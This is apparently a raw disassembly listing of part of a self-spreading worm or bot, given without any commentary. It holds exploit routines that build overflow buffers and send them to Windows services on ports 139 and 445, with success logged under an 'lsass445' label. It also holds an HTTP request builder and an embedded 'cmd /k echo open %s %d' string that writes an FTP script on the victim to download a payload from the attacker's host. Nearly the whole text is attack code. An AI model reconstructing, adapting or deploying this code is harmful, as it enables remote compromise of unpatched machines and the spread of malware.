arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_4028CB
		mov	ecx, esi
		call	sub_402920
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_402A3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A73	proc near		; CODE XREF: sub_402AFB+F0p
					; sub_402AFB+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_411FB0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_402A3F
		pop	esi
		retn	4
sub_402A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A90	proc near		; CODE XREF: sub_402ADC+Bp
					; sub_402AFB+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_402A3F
		retn	8
sub_402A90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AA0	proc near		; CODE XREF: sub_402ADC+16p
					; sub_402AFB+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_402939
		test	al, al
		jz	short loc_402AD9
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_42025F+1)
		call	sub_4028CB
		mov	ecx, esi
		call	sub_402920
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_402AD9:				; CODE XREF: sub_402AA0+Fj
		pop	esi
		leave
		retn
sub_402AA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_402ADC	proc near		; CODE XREF: sub_402AFB+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_402A90
		test	al, al
		jz	short loc_402AF7
		mov	ecx, esi
		call	sub_402AA0


loc_402AF7:				; CODE XREF: sub_402ADC+12j
		pop	esi
		retn	8
sub_402ADC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AFB	proc near		; CODE XREF: seg000:00403380p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_402887
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_402E4F
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_402E4F
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_402887
		lea	ecx, [ebp+var_20]
		call	sub_402887
		lea	ecx, [ebp+var_50]
		call	sub_402887
		lea	ecx, [ebp+var_18]
		call	sub_402887
		lea	ecx, [ebp+var_40]
		call	sub_402887
		lea	ecx, [ebp+var_38]
		call	sub_402887
		lea	ecx, [ebp+var_28]
		call	sub_402887
		push	4
		push	offset dword_41FF00
		lea	ecx, [ebp+var_30]
		call	sub_402A3F
		push	3
		push	offset dword_41FF08
		lea	ecx, [ebp+var_30]
		call	sub_402A3F
		lea	ecx, [ebp+var_30]
		call	sub_4029C5
		lea	ecx, [ebp+var_30]
		call	sub_402AA0
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset byte_41FEF4
		call	sub_402A3F
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_402A3F
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_402A3F
		lea	ecx, [ebp+var_20]
		call	sub_4029C5
		push	offset loc_420288
		lea	ecx, [ebp+var_50]
		call	sub_402A73
		lea	ecx, [ebp+var_50]
		call	sub_4029C5
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_402891
		lea	ecx, [ebp+var_58]
		call	sub_4029C5
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_402ADC
		lea	ecx, [ebp+var_58]
		call	sub_402920
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_402A73
		push	4
		push	offset dword_41FF0C
		lea	ecx, [ebp+var_18]
		call	sub_402A3F
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_402A3F
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_402A3F
		lea	ecx, [ebp+var_18]
		call	sub_4029C5
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_402A90
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_402A90
		lea	ecx, [ebp+var_40]
		call	sub_402AA0
		lea	ecx, [ebp+var_18]
		call	sub_402920
		lea	ecx, [ebp+var_50]
		call	sub_402920
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_402A90
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_402A90
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_402A90
		lea	ecx, [ebp+var_38]
		call	sub_402AA0
		lea	ecx, [ebp+var_20]
		call	sub_402920
		lea	ecx, [ebp+var_30]
		call	sub_402920
		lea	ecx, [ebp+var_40]
		call	sub_402920
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_402A3F
		lea	ecx, [ebp+var_28]
		call	sub_4029C5
		push	2
		push	offset dword_42027C
		lea	ecx, [ebp+var_28]
		call	sub_402A3F
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_402A90
		lea	ecx, [ebp+var_28]
		call	sub_402AA0
		lea	ecx, [ebp+var_38]
		call	sub_402920
		lea	ecx, [ebp+var_10]
		call	sub_402887
		lea	ecx, [ebp+var_8]
		call	sub_402887
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_402A90
		lea	ecx, [ebp+var_10]
		call	sub_402939
		lea	ecx, [ebp+var_28]
		call	sub_402920
		push	offset dword_420278
		lea	ecx, [ebp+var_8]
		call	sub_402A73
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402A90
		lea	ecx, [ebp+var_8]
		call	sub_402939
		lea	ecx, [ebp+var_10]
		call	sub_402920
		push	offset dword_420274
		lea	ecx, [ebp+var_10]
		call	sub_402A73
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_402A90
		lea	ecx, [ebp+var_10]
		call	sub_402939
		lea	ecx, [ebp+var_8]
		call	sub_402920
		push	offset dword_420268
		lea	ecx, [ebp+var_8]
		call	sub_402A73
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_402A90
		lea	ecx, [ebp+var_8]
		call	sub_402939
		lea	ecx, [ebp+var_10]
		call	sub_402920
		push	offset dword_420264
		lea	ecx, [ebp+var_48]
		call	sub_402A73
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_402A90
		lea	ecx, [ebp+var_8]
		call	sub_402920
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_402E5D
; ---------------------------------------------------------------------------


loc_402E4F:				; CODE XREF: sub_402AFB+1Bj
					; sub_402AFB+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_402E5D:				; CODE XREF: sub_402AFB+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_402AFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E61	proc near		; CODE XREF: sub_402F25+A1p
					; sub_402F25+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_41D1E0	; select
		cmp	eax, edi
		jnz	short loc_402EC8
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_41C446	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_402ECC


loc_402EC8:				; CODE XREF: sub_402E61+54j
		xor	eax, eax
		jmp	short loc_402EDC
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_402E61+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_431EA8


loc_402EDC:				; CODE XREF: sub_402E61+69j
		pop	edi
		pop	esi
		leave
		retn
sub_402E61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EE0	proc near		; CODE XREF: sub_402F25+81p
					; sub_402F25+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_431E8C
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_431EE0
		cmp	eax, 4
		jz	short loc_402F0A
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_402F0A:				; CODE XREF: sub_402EE0+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_431EE0
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_402EE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F25	proc near		; CODE XREF: sub_402FFF+48p
					; seg000:0040347Bp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_41205F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_402F4E
		xor	al, al
		jmp	loc_402FFA
; ---------------------------------------------------------------------------


loc_402F4E:				; CODE XREF: sub_402F25+20j
		push	ebx
		push	0
		push	esi
		call	sub_4119E0
		push	2Fh
		push	offset dword_41FF9C
		push	esi
		call	sub_411A40
		push	8
		lea	eax, [esi+31h]
		push	offset dword_41FFCC
		push	eax
		mov	[esi+2Fh], di
		call	sub_411A40
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_411A40
		push	6
		add	ebx, edi
		push	offset dword_430AC4
		push	ebx
		call	sub_411A40
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_41FF14
		push	ebx
		call	sub_402EE0
		add	esp, 48h
		test	al, al
		jnz	short loc_402FB6


loc_402FB2:				; CODE XREF: sub_402F25+B5j
		xor	bl, bl
		jmp	short loc_402FF1
; ---------------------------------------------------------------------------


loc_402FB6:				; CODE XREF: sub_402F25+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402E61
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_402EE0
		add	esp, 1Ch
		test	al, al
		jz	short loc_402FB2
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_402E61
		add	esp, 10h
		mov	bl, 1


loc_402FF1:				; CODE XREF: sub_402F25+8Fj
		push	esi
		call	sub_4120D3
		pop	ecx
		mov	al, bl


loc_402FFA:				; CODE XREF: sub_402F25+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402F25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FFF	proc near		; CODE XREF: seg000:00403461p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_41FFD8
		push	[ebp+arg_0]
		call	ds:dword_41D1DC	; send
		cmp	eax, 48h
		jnz	short loc_40303A
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_402E61
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40303A
		cmp	[ebp+var_20], 82h
		jz	short loc_40303E


loc_40303A:				; CODE XREF: sub_402FFF+1Bj
					; sub_402FFF+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40303E:				; CODE XREF: sub_402FFF+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402F25
		add	esp, 0Ch
		leave
		retn
sub_402FFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403051	proc near		; CODE XREF: sub_40309D+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_41D238
		call	sub_412224
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_41D230
		fstp	[esp+10h+var_10]
		call	sub_412102
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_412224
		inc	eax
		leave
		retn
sub_403051	endp


; =============== S U B	R O U T	I N E =======================================



sub_40309D	proc near		; CODE XREF: sub_40323F+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_41C5A3
		call	sub_4126F0
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_403714
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403051
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_4030DF
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40368F


loc_4030DF:				; CODE XREF: sub_40309D+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_4031FC
		mov	ebx, [ebp+10h]


loc_4030EE:				; CODE XREF: sub_40309D+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_4030F8
		push	3
		jmp	short loc_40310A
; ---------------------------------------------------------------------------


loc_4030F8:				; CODE XREF: sub_40309D+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_403102
		push	2
		jmp	short loc_40310A
; ---------------------------------------------------------------------------


loc_403102:				; CODE XREF: sub_40309D+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40310B
		push	1


loc_40310A:				; CODE XREF: sub_40309D+59j
					; sub_40309D+63j
		pop	ebx


loc_40310B:				; CODE XREF: sub_40309D+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_41D248
		fstp	[esp+40h+var_40]
		call	sub_41224B
		pop	ecx
		pop	ecx
		call	sub_412224
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40314A
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40314A:				; CODE XREF: sub_40309D+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_4031B8
		add	[ebp-18h], eax


loc_40319C:				; CODE XREF: sub_40309D+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_420024[eax]
		push	eax
		push	1
		call	sub_403511
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40319C


loc_4031B8:				; CODE XREF: sub_40309D+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_4031D6
		push	dword ptr [ebp+14h]
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40356A
		mov	[ebp-18h], edi


loc_4031D6:				; CODE XREF: sub_40309D+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4031F0
		sub	esi, [ebp-1Ch]


loc_4031E1:				; CODE XREF: sub_40309D+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_403511
		dec	esi
		jnz	short loc_4031E1


loc_4031F0:				; CODE XREF: sub_40309D+13Fj
		cmp	[ebp+10h], edi
		ja	loc_4030EE
		push	1
		pop	ebx


loc_4031FC:				; CODE XREF: sub_40309D+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_403714
		push	ds:dword_41D240
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_4035C1
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_403714
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40309D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40323F	proc near		; CODE XREF: seg000:00403444p
		mov	eax, offset loc_41C5C0
		call	sub_4126F0
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_430AD0
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40309D
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41205F
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_403289
		xor	bl, bl
		jmp	short loc_4032CD
; ---------------------------------------------------------------------------


loc_403289:				; CODE XREF: sub_40323F+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_41D250
		cmp	ecx, ebx
		jnz	short loc_403297
		mov	ecx, eax


loc_403297:				; CODE XREF: sub_40323F+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40329F
		mov	eax, [ebp+18h]


loc_40329F:				; CODE XREF: sub_40323F+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_411EDA
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_431EE0
		cmp	eax, esi
		jz	short loc_4032C4
		xor	bl, bl
		jmp	short loc_4032C6
; ---------------------------------------------------------------------------


loc_4032C4:				; CODE XREF: sub_40323F+7Fj
		mov	bl, 1


loc_4032C6:				; CODE XREF: sub_40323F+83j
		push	edi
		call	sub_4120D3
		pop	ecx


loc_4032CD:				; CODE XREF: sub_40323F+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_403714
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_403714
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40323F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_4201D0
		push	eax
		call	sub_411A40
		add	esp, 0Ch
		mov	eax, offset byte_4243E0
		push	eax
		push	eax
		push	ds:dword_430AD8
		push	dword ptr [ebp+8]
		call	sub_407F2C
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_411EDA
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_420068
		push	eax
		call	sub_402AFB
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_4033A0
		xor	eax, eax
		jmp	loc_403504
; ---------------------------------------------------------------------------


loc_4033A0:				; CODE XREF: seg000:00403397j
		mov	[ebp-0Ch], esi


loc_4033A3:				; CODE XREF: seg000:004034A3j
		test	esi, esi
		jnz	loc_4034A9
		push	6
		push	1
		push	2
		call	ds:dword_41D1D8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403491
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	ds:dword_431E90
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_431ED0
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_431E38
		cmp	eax, 0FFFFFFFFh
		jz	loc_403486
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40344E
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_403714
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_411FB0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_403750
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40323F
		add	esp, 1Ch
		jmp	short loc_403483
; ---------------------------------------------------------------------------


loc_40344E:				; CODE XREF: seg000:0040340Cj
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_403468
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_402FFF
		jmp	short loc_403480
; ---------------------------------------------------------------------------


loc_403468:				; CODE XREF: seg000:00403458j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_403486
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_402F25


loc_403480:				; CODE XREF: seg000:00403466j
		add	esp, 0Ch


loc_403483:				; CODE XREF: seg000:0040344Cj
		movzx	esi, al


loc_403486:				; CODE XREF: seg000:004033FFj
					; seg000:00403472j
		push	ebx
		call	ds:dword_431F28
		test	esi, esi
		jnz	short loc_40349C


loc_403491:				; CODE XREF: seg000:004033BCj
		push	3E8h
		call	ds:dword_41D050	; Sleep


loc_40349C:				; CODE XREF: seg000:0040348Fj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_4033A3


loc_4034A9:				; CODE XREF: seg000:004033A5j
		lea	ecx, [ebp-8]
		call	sub_402920
		test	esi, esi
		jz	short loc_403502
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aLsass445 ;	"lsass445"
		push	eax
		push	offset dword_420294
		lea	eax, [ebp-624h]
		push	200h
		push	eax
		call	sub_411EDA
		lea	eax, [ebp-624h]
		push	eax
		call	sub_408CFE
		mov	eax, [ebp+0B0h]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_421048[eax]
		lea	eax, dword_421048[eax]


loc_403502:				; CODE XREF: seg000:004034B3j
		mov	eax, esi


loc_403504:				; CODE XREF: seg000:0040339Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C584


loc_403509:				; CODE XREF: sub_41C584+3j
					; seg000:0041C59Dj ...
		push	1
		call	sub_403714
		retn
; END OF FUNCTION CHUNK	FOR sub_41C584

; =============== S U B	R O U T	I N E =======================================



sub_403511	proc near		; CODE XREF: sub_40309D+110p
					; sub_40309D+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_41D240
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40352B
		call	sub_41C0F0


loc_40352B:				; CODE XREF: sub_403511+13j
		test	ebx, ebx
		jbe	short loc_403562
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40368F
		test	al, al
		jz	short loc_403562
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_4119E0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_403562:				; CODE XREF: sub_403511+1Cj
					; sub_403511+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403511	endp


; =============== S U B	R O U T	I N E =======================================



sub_40356A	proc near		; CODE XREF: sub_40309D+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_41D240
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_403584
		call	sub_41C0F0


